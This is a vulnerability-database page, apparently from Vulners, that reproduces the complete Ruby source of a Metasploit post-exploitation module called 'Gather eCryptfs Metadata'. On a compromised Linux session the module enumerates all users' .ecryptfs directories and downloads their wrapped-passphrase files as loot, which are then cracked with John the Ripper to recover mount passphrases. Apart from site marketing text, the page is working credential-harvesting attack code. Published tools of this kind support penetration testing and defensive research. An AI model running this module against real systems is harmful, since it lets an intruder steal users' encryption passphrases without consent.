Lucene search
K

Gather eCryptfs Metadata

🗓️ 28 Jul 2013 17:39:42Reported by Dhiru Kholia <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 40 Views

Gather eCryptfs Metadata. Collects .ecryptfs directories contents for user on Linux platform, to recover "mount passphrases

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Unix

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Gather eCryptfs Metadata',
        'Description' => %q{
          This module will collect the contents of all users' .ecrypts directories on
          the targeted machine. Collected "wrapped-passphrase" files can be
          cracked with John the Ripper (JtR) to recover "mount passphrases".
        },
        'License' => MSF_LICENSE,
        'Author' => ['Dhiru Kholia <dhiru[at]openwall.com>'],
        'Platform' => ['linux'],
        'SessionTypes' => ['shell']
      )
    )
  end

  # This module is largely based on ssh_creds, gpg_creds and firefox_creds.rb.

  def run
    print_status('Finding .ecryptfs directories')
    paths = enum_user_directories.map { |d| d + '/.ecryptfs' }
    # Array#select! is only in 1.9
    paths = paths.select { |d| directory?(d) }

    if paths.nil? || paths.empty?
      print_error('No users found with a .ecryptfs directory')
      return
    end

    download_loot(paths)
  end

  def download_loot(paths)
    print_status("Looting #{paths.count} directories")
    paths.each do |path|
      path.chomp!
      sep = '/'
      files = cmd_exec("ls -1 #{path}").split(/\r\n|\r|\n/)

      files.each do |file|
        target = "#{path}#{sep}#{file}"
        if directory?(target)
          next
        end

        print_status("Downloading #{path}#{sep}#{file} -> #{file}")
        data = read_file(target)
        file = file.split(sep).last
        loot_path = store_loot("ecryptfs.#{file}", 'text/plain', session, data,
                               nil, "eCryptfs #{file} File")
        print_good("File stored in: #{loot_path}")
      end
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

08 Feb 2023 13:47Current
0.5Low risk
Vulners AI Score0.5
40